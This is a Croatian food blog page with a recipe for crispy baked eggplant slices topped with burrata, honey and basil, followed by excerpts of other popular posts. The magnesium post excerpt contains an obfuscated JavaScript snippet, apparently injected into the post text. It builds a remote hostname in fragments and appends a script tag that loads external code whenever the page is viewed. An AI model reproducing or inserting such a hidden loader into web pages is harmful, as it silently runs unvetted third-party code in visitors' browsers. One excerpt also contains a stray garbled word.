HRSKAVI ZAPEČENI PATLIDŽANI S BURRATOM 🍆




Hrskavi zapečeni patlidžani s burratom 



Dok ljeti tražimo laganija jela koja neće zahtijevati sate provedene u kuhinji, mediteranska kuhinja ponovno pokazuje zašto je jedna od najomiljenijih na svijetu. Svježe povrće, maslinovo ulje, aromatično bilje i kvalitetan sir često su sasvim dovoljni za obrok koji izgleda kao da je stigao iz malog restorana uz more. Jedan od recepata koji posljednjih mjeseci sve češće osvaja društvene mreže upravo je kombinacija hrskavo pečenih patlidžana, kremaste burrate i nekoliko kapi meda. Spoj slanog, slatkog i svježeg okusa mnoge iznenadi već nakon prvog zalogaja.





Hrskavi zapečeni patlidžani s burratom 


Sastojci:

  • 2 srednja patlidžana
  • 1 burrata
  • 2 do 3 žlice krušnih mrvica (ili panka)
  • 2 žlice naribanog parmezana
  • maslinovo ulje
  • med
  • svježi bosiljak
  • sol i papar
Po želji možete dodati nekoliko tostiranih pinjola ili pistacija koji će jelu dati još više hrskavosti.




Priprema:

Patlidžane narežite na kolutiće debljine oko jednog centimetra i lagano ih posolite.
  • Nakon desetak minuta obrišite višak vode papirnatim ubrusom.
  • Kolutiće premažite maslinovim uljem te ih pospite mješavinom krušnih mrvica i naribanog parmezana. Posložite ih na lim obložen papirom za pečenje i pecite u pećnici zagrijanoj na 200 °C oko 20 do 25 minuta, dok ne postanu zlatni i hrskavi.
  • Na tanjur rasporedite pečene patlidžane, a u sredinu stavite burratu koju lagano razrežite kako bi se kremasta unutrašnjost prelila preko toplih kolutića.
  • Na kraju dodajte nekoliko listića svježeg bosiljka, malo svježe mljevenog papra, tanki mlaz kvalitetnog maslinova ulja i tek nekoliko kapi meda.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više